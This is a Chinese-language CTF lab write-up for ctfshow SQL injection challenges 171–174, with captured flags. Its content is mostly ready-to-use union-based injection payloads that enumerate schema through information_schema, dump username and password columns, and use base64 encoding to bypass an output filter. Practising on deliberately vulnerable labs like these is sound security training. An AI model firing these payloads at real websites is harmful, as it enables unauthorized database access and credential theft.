ctfshow sql注入

171

1' union select database(),2,3%23

可以看出有3个字段，采用联合查询的方式，查找数据库，%23代表#号

MariaDB是MySQL的分支

1' union select database(),version(),3%23

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web"%23

使用group_concat可以输出多个结果，这里因为只有一个结果，mysql5.0以上的版本有information_schema，可以省下拆解的过程

1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"%23

这里跑出列名

1' union select id,username,password from ctfshow_user%23

这里跑出数据，flag为ctfshow{dc5b040b-cb74-479c-9b2f-a6a4e2b84c0f}
这里学习一下MYSQL5.0 以上版本：自带的数据库名 information_schema，他提供所有的表名列名，information_schema：存储数据库下的数据库名及表名，列名信息的数据库，information_schema.tables：记录表名信息的表，information_schema.columns：记录列名信息表

172

这里先判断字段，1' order by 3%23

2不报错3报错，字段为2

1' union select 1,database()%23

爆出数据库名

1' union select 1,table_name from information_schema.tables where table_schema="ctfshow_web"%23

爆出表名ctfshow_user2

1' union select 1,column_name from information_schema.columns where table_schema="ctfshow_web" and table_name="ctfshow_user2"%23

继续跑出列名，接下来直接查数据就可以了

1' union select username,password from ctfshow_user2%231' union select username,password from ctfshow_user2%23

没有跑出结果，看到username不能是flag

对用户名base64加密就行了，判断最后一个就是flag

1' union select to_base64(username),password from ctfshow_user2%23

ctfshow{603a94ff-8924-4d37-b556-34299e29a740}

173

前面步骤都是一样的

1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web'%23

这里我选择-1，因为没有-1，这样就不会输出原来的结果

-1' union select 1,2,column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'%23

-1' union select 1,to_base64(username),password from ctfshow_user3%23

这里过滤了回显为flag和转义符，这里使用的是base64编码，可以绕过
ctfshow{b9084809-621f-45f2-b35d-116ae5b22464}

174

没有回显，看来是盲注